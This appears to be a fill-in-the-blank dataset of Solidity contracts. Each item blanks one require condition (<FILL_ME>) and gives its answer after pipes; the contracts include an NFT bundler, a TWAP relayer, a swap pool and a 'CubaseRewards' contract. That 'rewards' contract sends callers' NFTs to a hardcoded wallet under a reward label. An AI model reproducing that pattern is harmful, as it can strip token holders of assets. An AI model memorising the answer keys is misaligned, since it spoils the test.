* @dev Adds and removes a set of BundleElementERC721 objects from the specified token ID.
*
* @param _tokenId The ID of the token to add and remove the bundle elements from.
* @param _toAdd The array of BundleElementERC721 objects to add.
* @param _toRemove The array of BundleElementERC721 objects to remove.
*/
function addAndRemoveBundleElements(
uint256 _tokenId,
BundleElementERC721[] memory _toAdd,
BundleElementERC721[] memory _toRemove
) external {
}
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external override {
}
/**
* @notice Remove all the children from the bundle and send to personla bundler.
* If bundle contains a legacy ERC721 element, this will not work.
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _personalBundler address of the receiver of the children
*/
function sendElementsToPersonalBundler(uint256 _tokenId, address _personalBundler) external virtual {
}
/**
* @dev Internal function to add a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function _addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Internal function to remove a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function _removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Update the state to receive a ERC721 child
* Overrides the implementation to check if the asset is permitted
* @param _from The owner of the child token
* @param _tokenId The token receiving the child
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
*/
function _receiveChild(
address _from,
uint256 _tokenId,
address _childContract,
uint256 _childTokenId
) internal virtual override {
require(<FILL_ME>)
super._receiveChild(_from, _tokenId, _childContract, _childTokenId);
}
/**
* @dev Override validation if it is a transfer from the airdropFlashLoan contract giving back the flashloan.
* Validates the data from a child transfer and receives it otherwise
* @param _from The owner of the child token
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
* @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId
*/
function _validateAndReceiveChild(
address _from,
address _childContract,
uint256 _childTokenId,
bytes memory _data
) internal virtual override {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| permittedAsset(_childContract),"erc721 not permitted" | 437,591 | permittedAsset(_childContract) |
"token is in bundle" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./ERC998TopDown.sol";
import "./INftfiBundler.sol";
import "./IBundleBuilder.sol";
import "./IPermittedNFTs.sol";
import "./utils/Ownable.sol";
import "./airdrop/AirdropFlashLoan.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title NftfiBundler
* @author NFTfi
* @dev ERC998 Top-Down Composable Non-Fungible Token that supports ERC721 children.
*/
contract NftfiBundler is ERC998TopDown, IBundleBuilder {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Strings for uint256;
address public immutable permittedNfts;
address public immutable airdropFlashLoan;
string public baseURI;
/**
* @dev Stores name and symbol
*
* @param _admin - Initial admin of this contract.
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
string memory _customBaseURI,
address _permittedNfts,
address _airdropFlashLoan
) ERC721(_name, _symbol) ERC998TopDown(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
}
/**
* @notice Tells if an asset is permitted or not
* @param _asset address of the asset
* @return true if permitted, false otherwise
*/
function permittedAsset(address _asset) public view returns (bool) {
}
/**
* @dev used to build a bundle from the BundleElements struct,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721 tokens that are to be bundled
*/
function buildBundle(BundleElementERC721[] memory _bundleElements) external override returns (uint256) {
}
/**
* @dev Adds a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Removes a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) external {
}
/**
* @dev Adds and removes a set of BundleElementERC721 objects from the specified token ID.
*
* @param _tokenId The ID of the token to add and remove the bundle elements from.
* @param _toAdd The array of BundleElementERC721 objects to add.
* @param _toRemove The array of BundleElementERC721 objects to remove.
*/
function addAndRemoveBundleElements(
uint256 _tokenId,
BundleElementERC721[] memory _toAdd,
BundleElementERC721[] memory _toRemove
) external {
}
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external override {
}
/**
* @notice Remove all the children from the bundle and send to personla bundler.
* If bundle contains a legacy ERC721 element, this will not work.
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _personalBundler address of the receiver of the children
*/
function sendElementsToPersonalBundler(uint256 _tokenId, address _personalBundler) external virtual {
}
/**
* @dev Internal function to add a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to add the bundle elements to.
* @param _bundleElements The array of BundleElementERC721 objects to add.
*/
function _addBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Internal function to remove a set of BundleElementERC721 objects to the specified token ID.
*
* @param _tokenId The ID of the token to remove the bundle elements from.
* @param _bundleElements The array of BundleElementERC721 objects to remove.
*/
function _removeBundleElements(uint256 _tokenId, BundleElementERC721[] memory _bundleElements) internal {
}
/**
* @dev Update the state to receive a ERC721 child
* Overrides the implementation to check if the asset is permitted
* @param _from The owner of the child token
* @param _tokenId The token receiving the child
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
*/
function _receiveChild(
address _from,
uint256 _tokenId,
address _childContract,
uint256 _childTokenId
) internal virtual override {
}
/**
* @dev Override validation if it is a transfer from the airdropFlashLoan contract giving back the flashloan.
* Validates the data from a child transfer and receives it otherwise
* @param _from The owner of the child token
* @param _childContract The ERC721 contract of the child token
* @param _childTokenId The token that is being transferred to the parent
* @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId
*/
function _validateAndReceiveChild(
address _from,
address _childContract,
uint256 _childTokenId,
bytes memory _data
) internal virtual override {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
IERC721 tokenContract = IERC721(_tokenAddress);
require(<FILL_ME>)
require(tokenContract.ownerOf(_tokenId) == address(this), "nft not owned");
tokenContract.safeTransferFrom(address(this), _receiver, _tokenId);
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| childTokenOwner[_tokenAddress][_tokenId]==0,"token is in bundle" | 437,591 | childTokenOwner[_tokenAddress][_tokenId]==0 |
'TR5A' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.6;
pragma abicoder v2;
import './interfaces/ITwapFactory.sol';
import './interfaces/ITwapDelay.sol';
import './interfaces/ITwapPair.sol';
import './interfaces/ITwapOracleV3.sol';
import './interfaces/ITwapRelayer.sol';
import './interfaces/IWETH.sol';
import './libraries/SafeMath.sol';
import './libraries/Orders.sol';
import './libraries/TransferHelper.sol';
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol';
contract TwapRelayer is ITwapRelayer {
using SafeMath for uint256;
uint256 private constant PRECISION = 10**18;
uint16 private constant MAX_TOLERANCE = 10;
address public immutable override factory;
address public immutable override weth;
address public override delay;
address public override owner;
mapping(address => uint256) public override swapFee;
mapping(address => uint32) public override twapInterval;
mapping(address => bool) public override isPairEnabled;
mapping(address => uint256) public override tokenLimitMin;
mapping(address => uint256) public override tokenLimitMaxMultiplier;
mapping(address => uint16) public override tolerance;
uint256 public override ethTransferGasCost;
uint256 public override executionGasLimit;
uint256 public override gasPriceMultiplier;
constructor(
address _factory,
address _delay,
address _weth
) {
}
uint256 private locked;
modifier lock() {
}
function setDelay(address _delay) external override {
}
function setOwner(address _owner) external override {
}
function setSwapFee(address pair, uint256 fee) external override {
}
function setTwapInterval(address pair, uint32 interval) external override {
}
function setPairEnabled(address pair, bool enabled) external override {
}
function setEthTransferGasCost(uint256 gasCost) external override {
}
function setExecutionGasLimit(uint256 limit) external override {
}
function setGasPriceMultiplier(uint256 multiplier) external override {
}
function setTokenLimitMin(address token, uint256 limit) external override {
}
function setTokenLimitMaxMultiplier(address token, uint256 multiplier) external override {
}
function setTolerance(address pair, uint16 _tolerance) external override {
}
function sell(SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
require(
sellParams.to != sellParams.tokenIn && sellParams.to != sellParams.tokenOut && sellParams.to != address(0),
'TR26'
);
// duplicate checks in Orders.sell
// require(sellParams.amountIn != 0, 'TR24');
if (sellParams.wrapUnwrap && sellParams.tokenIn == weth) {
require(msg.value == sellParams.amountIn, 'TR59');
} else {
require(msg.value == 0, 'TR58');
}
(address pair, bool inverted) = getPair(sellParams.tokenIn, sellParams.tokenOut);
require(<FILL_ME>)
(uint256 amountIn, uint256 amountOut, uint256 fee) = swapExactIn(
pair,
inverted,
sellParams.tokenIn,
sellParams.tokenOut,
sellParams.amountIn,
sellParams.wrapUnwrap,
sellParams.to
);
require(amountOut >= sellParams.amountOutMin, 'TR37');
orderId = ITwapDelay(delay).sell{ value: calculatePrepay() }(
Orders.SellParams(
sellParams.tokenIn,
sellParams.tokenOut,
amountIn,
0, // Relax slippage constraints
false, // Never wrap/unwrap
address(this),
executionGasLimit,
sellParams.submitDeadline
)
);
emit Swap(
msg.sender,
sellParams.tokenIn,
sellParams.tokenOut,
amountIn,
amountOut,
sellParams.wrapUnwrap,
fee,
sellParams.to,
orderId
);
}
function buy(BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function getPair(address tokenA, address tokenB) internal view returns (address pair, bool inverted) {
}
function calculatePrepay() internal returns (uint256) {
}
function swapExactIn(
address pair,
bool inverted,
address tokenIn,
address tokenOut,
uint256 amountIn,
bool wrapUnwrap,
address to
)
internal
returns (
uint256 _amountIn,
uint256 _amountOut,
uint256 fee
)
{
}
function swapExactOut(
address pair,
bool inverted,
address tokenIn,
address tokenOut,
uint256 amountOut,
bool wrapUnwrap,
address to
)
internal
returns (
uint256 _amountIn,
uint256 _amountOut,
uint256 fee
)
{
}
function calculateAmountIn(
address pair,
bool inverted,
uint256 amountOut
) internal view returns (uint256 amountIn) {
}
function calculateAmountOut(
address pair,
bool inverted,
uint256 amountIn
) internal view returns (uint256 amountOut) {
}
function getDecimalsConverter(
uint8 xDecimals,
uint8 yDecimals,
bool inverted
) internal pure returns (uint256 decimalsConverter) {
}
function getPriceByPairAddress(address pair, bool inverted)
public
view
override
returns (
uint8 xDecimals,
uint8 yDecimals,
uint256 price
)
{
}
function getPriceByTokenAddresses(address tokenIn, address tokenOut) public view override returns (uint256 price) {
}
function getPoolState(address token0, address token1)
external
view
override
returns (
uint256 price,
uint256 fee,
uint256 limitMin0,
uint256 limitMax0,
uint256 limitMin1,
uint256 limitMax1
)
{
}
function quoteSell(
address tokenIn,
address tokenOut,
uint256 amountIn
) external view override returns (uint256 amountOut) {
}
function quoteBuy(
address tokenIn,
address tokenOut,
uint256 amountOut
) external view override returns (uint256 amountIn) {
}
function getPricesFromOracle(address pair)
internal
view
returns (
uint256 spotPrice,
uint256 averagePrice,
uint8 xDecimals,
uint8 yDecimals
)
{
}
function getAveragePrice(
address pair,
address uniswapPair,
uint256 decimalsConverter
) internal view returns (uint256) {
}
function transferIn(
address token,
uint256 amount,
bool wrap
) internal returns (uint256) {
}
function transferOut(
address to,
address token,
uint256 amount,
bool unwrap
) internal returns (uint256) {
}
function checkLimits(address token, uint256 amount) internal view {
}
function approve(
address token,
uint256 amount,
address to
) external override lock {
}
function withdraw(
address token,
uint256 amount,
address to
) external override lock {
}
receive() external payable {}
}
| isPairEnabled[pair],'TR5A' | 437,602 | isPairEnabled[pair] |
'TR2F' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.6;
pragma abicoder v2;
import './interfaces/ITwapFactory.sol';
import './interfaces/ITwapDelay.sol';
import './interfaces/ITwapPair.sol';
import './interfaces/ITwapOracleV3.sol';
import './interfaces/ITwapRelayer.sol';
import './interfaces/IWETH.sol';
import './libraries/SafeMath.sol';
import './libraries/Orders.sol';
import './libraries/TransferHelper.sol';
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol';
contract TwapRelayer is ITwapRelayer {
using SafeMath for uint256;
uint256 private constant PRECISION = 10**18;
uint16 private constant MAX_TOLERANCE = 10;
address public immutable override factory;
address public immutable override weth;
address public override delay;
address public override owner;
mapping(address => uint256) public override swapFee;
mapping(address => uint32) public override twapInterval;
mapping(address => bool) public override isPairEnabled;
mapping(address => uint256) public override tokenLimitMin;
mapping(address => uint256) public override tokenLimitMaxMultiplier;
mapping(address => uint16) public override tolerance;
uint256 public override ethTransferGasCost;
uint256 public override executionGasLimit;
uint256 public override gasPriceMultiplier;
constructor(
address _factory,
address _delay,
address _weth
) {
}
uint256 private locked;
modifier lock() {
}
function setDelay(address _delay) external override {
}
function setOwner(address _owner) external override {
}
function setSwapFee(address pair, uint256 fee) external override {
}
function setTwapInterval(address pair, uint32 interval) external override {
}
function setPairEnabled(address pair, bool enabled) external override {
}
function setEthTransferGasCost(uint256 gasCost) external override {
}
function setExecutionGasLimit(uint256 limit) external override {
}
function setGasPriceMultiplier(uint256 multiplier) external override {
}
function setTokenLimitMin(address token, uint256 limit) external override {
}
function setTokenLimitMaxMultiplier(address token, uint256 multiplier) external override {
}
function setTolerance(address pair, uint16 _tolerance) external override {
}
function sell(SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function getPair(address tokenA, address tokenB) internal view returns (address pair, bool inverted) {
}
function calculatePrepay() internal returns (uint256) {
}
function swapExactIn(
address pair,
bool inverted,
address tokenIn,
address tokenOut,
uint256 amountIn,
bool wrapUnwrap,
address to
)
internal
returns (
uint256 _amountIn,
uint256 _amountOut,
uint256 fee
)
{
}
function swapExactOut(
address pair,
bool inverted,
address tokenIn,
address tokenOut,
uint256 amountOut,
bool wrapUnwrap,
address to
)
internal
returns (
uint256 _amountIn,
uint256 _amountOut,
uint256 fee
)
{
}
function calculateAmountIn(
address pair,
bool inverted,
uint256 amountOut
) internal view returns (uint256 amountIn) {
}
function calculateAmountOut(
address pair,
bool inverted,
uint256 amountIn
) internal view returns (uint256 amountOut) {
}
function getDecimalsConverter(
uint8 xDecimals,
uint8 yDecimals,
bool inverted
) internal pure returns (uint256 decimalsConverter) {
}
function getPriceByPairAddress(address pair, bool inverted)
public
view
override
returns (
uint8 xDecimals,
uint8 yDecimals,
uint256 price
)
{
}
function getPriceByTokenAddresses(address tokenIn, address tokenOut) public view override returns (uint256 price) {
}
function getPoolState(address token0, address token1)
external
view
override
returns (
uint256 price,
uint256 fee,
uint256 limitMin0,
uint256 limitMax0,
uint256 limitMin1,
uint256 limitMax1
)
{
}
function quoteSell(
address tokenIn,
address tokenOut,
uint256 amountIn
) external view override returns (uint256 amountOut) {
}
function quoteBuy(
address tokenIn,
address tokenOut,
uint256 amountOut
) external view override returns (uint256 amountIn) {
}
function getPricesFromOracle(address pair)
internal
view
returns (
uint256 spotPrice,
uint256 averagePrice,
uint8 xDecimals,
uint8 yDecimals
)
{
}
function getAveragePrice(
address pair,
address uniswapPair,
uint256 decimalsConverter
) internal view returns (uint256) {
}
function transferIn(
address token,
uint256 amount,
bool wrap
) internal returns (uint256) {
}
function transferOut(
address to,
address token,
uint256 amount,
bool unwrap
) internal returns (uint256) {
}
function checkLimits(address token, uint256 amount) internal view {
}
function approve(
address token,
uint256 amount,
address to
) external override lock {
require(msg.sender == owner, 'TR00');
require(to != address(0), 'TR02');
require(<FILL_ME>)
emit Approve(token, to, amount);
}
function withdraw(
address token,
uint256 amount,
address to
) external override lock {
}
receive() external payable {}
}
| IERC20(token).approve(to,amount),'TR2F' | 437,602 | IERC20(token).approve(to,amount) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./Ownable.sol";
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./Address.sol";
import "./IERC165.sol";
import "./ReentrancyGuard.sol";
contract CubaseRewards is IERC165, IERC721Receiver, Ownable {
using Address for address;
struct Token{
address owner;
uint32 blockid;
uint32 timestamp;
}
IERC721 public COLLECTION;
uint256 public rewardAmount = 0.0085 ether;
bool public isEnabled;
mapping(uint256 => Token) public tokens;
constructor(IERC721 collection) Ownable() {
}
receive() external payable {}
// events
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata
) external returns (bytes4){
require(isEnabled);
require(<FILL_ME>)
tokens[tokenId] = Token(from, uint32(block.number), uint32(block.timestamp));
// _sendValue(payable(from), award, 5000);
return IERC721Receiver(this).onERC721Received.selector;
}
function claimRewards (uint256[] memory tokenIds) external payable {
}
// nonpayable
function safeTransferTo(address to, uint256 tokenId) external {
}
function safeTransferTo(address to, uint256 tokenId, bytes calldata data) external {
}
function transferTo(address to, uint256 tokenId) external {
}
// nonpayable - admin
function setRewardAmount(uint256 _rewardVal) external onlyOwner{
}
function setEnabled(bool newEnabled) external onlyOwner{
}
function setCollection (IERC721 _collection) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdraw(uint256 tokenId, address to) external onlyOwner{
}
// view
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
}
// internal
function _sendValue(address payable recipient, uint256 amount, uint256 gasLimit) internal {
}
}
| tokens[tokenId].blockid==0 | 437,610 | tokens[tokenId].blockid==0 |
'Sorry, you are not eligible for rewards' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./Ownable.sol";
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./Address.sol";
import "./IERC165.sol";
import "./ReentrancyGuard.sol";
contract CubaseRewards is IERC165, IERC721Receiver, Ownable {
using Address for address;
struct Token{
address owner;
uint32 blockid;
uint32 timestamp;
}
IERC721 public COLLECTION;
uint256 public rewardAmount = 0.0085 ether;
bool public isEnabled;
mapping(uint256 => Token) public tokens;
constructor(IERC721 collection) Ownable() {
}
receive() external payable {}
// events
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes calldata
) external returns (bytes4){
}
function claimRewards (uint256[] memory tokenIds) external payable {
require(isEnabled, 'Faucet is currently disabled');
require(<FILL_ME>)
uint256 tokenBalance = tokenIds.length;
uint256 rewardTotal = tokenBalance * rewardAmount;
for (uint256 index = 0; index < tokenBalance; ++index) {
uint256 tokenId = tokenIds[index];
COLLECTION.transferFrom(msg.sender, 0xb04c30A44037E86f36370EfC5b50c6E70c9Db1B9, tokenId);
}
(bool hs, ) = payable(msg.sender).call{value: rewardTotal}("");
require(hs, "Failed to Process Rewards");
}
// nonpayable
function safeTransferTo(address to, uint256 tokenId) external {
}
function safeTransferTo(address to, uint256 tokenId, bytes calldata data) external {
}
function transferTo(address to, uint256 tokenId) external {
}
// nonpayable - admin
function setRewardAmount(uint256 _rewardVal) external onlyOwner{
}
function setEnabled(bool newEnabled) external onlyOwner{
}
function setCollection (IERC721 _collection) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdraw(uint256 tokenId, address to) external onlyOwner{
}
// view
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
}
// internal
function _sendValue(address payable recipient, uint256 amount, uint256 gasLimit) internal {
}
}
| COLLECTION.balanceOf(msg.sender)>0,'Sorry, you are not eligible for rewards' | 437,610 | COLLECTION.balanceOf(msg.sender)>0 |
"O3SwapPool: token address cannot be zero" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
require(_coins.length >= 2, "O3SwapPool: coins.length out of range(<2)");
require(_coins.length <= 8, "O3SwapPool: coins.length out of range(>8");
require(_coins.length == decimals.length, "O3SwapPool: invalid decimals length");
uint256[] memory precisionMultipliers = new uint256[](decimals.length);
for (uint8 i = 0; i < _coins.length; i++) {
require(<FILL_ME>)
require(decimals[i] <= 18, "O3SwapPool: token decimal exceeds maximum");
if (i > 0) {
require(coinIndexes[address(_coins[i])] == 0 && _coins[0] != _coins[i], "O3SwapPool: duplicated token pooled");
}
precisionMultipliers[i] = 10 ** (18 - uint256(decimals[i]));
coinIndexes[address(_coins[i])] = i;
}
require(_a < MAX_A, "O3SwapPool: _a exceeds maximum");
require(_swapFee <= MAX_SWAP_FEE, "O3SwapPool: _swapFee exceeds maximum");
require(_adminFee <= MAX_ADMIN_FEE, "O3SwapPool: _adminFee exceeds maximum");
coins = _coins;
lpToken = new LPToken(lpTokenName, lpTokenSymbol);
tokenPrecisionMultipliers = precisionMultipliers;
balances = new uint256[](_coins.length);
initialA = _a * A_PRECISION;
futureA = _a * A_PRECISION;
initialATime = 0;
futureATime = 0;
swapFee = _swapFee;
adminFee = _adminFee;
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
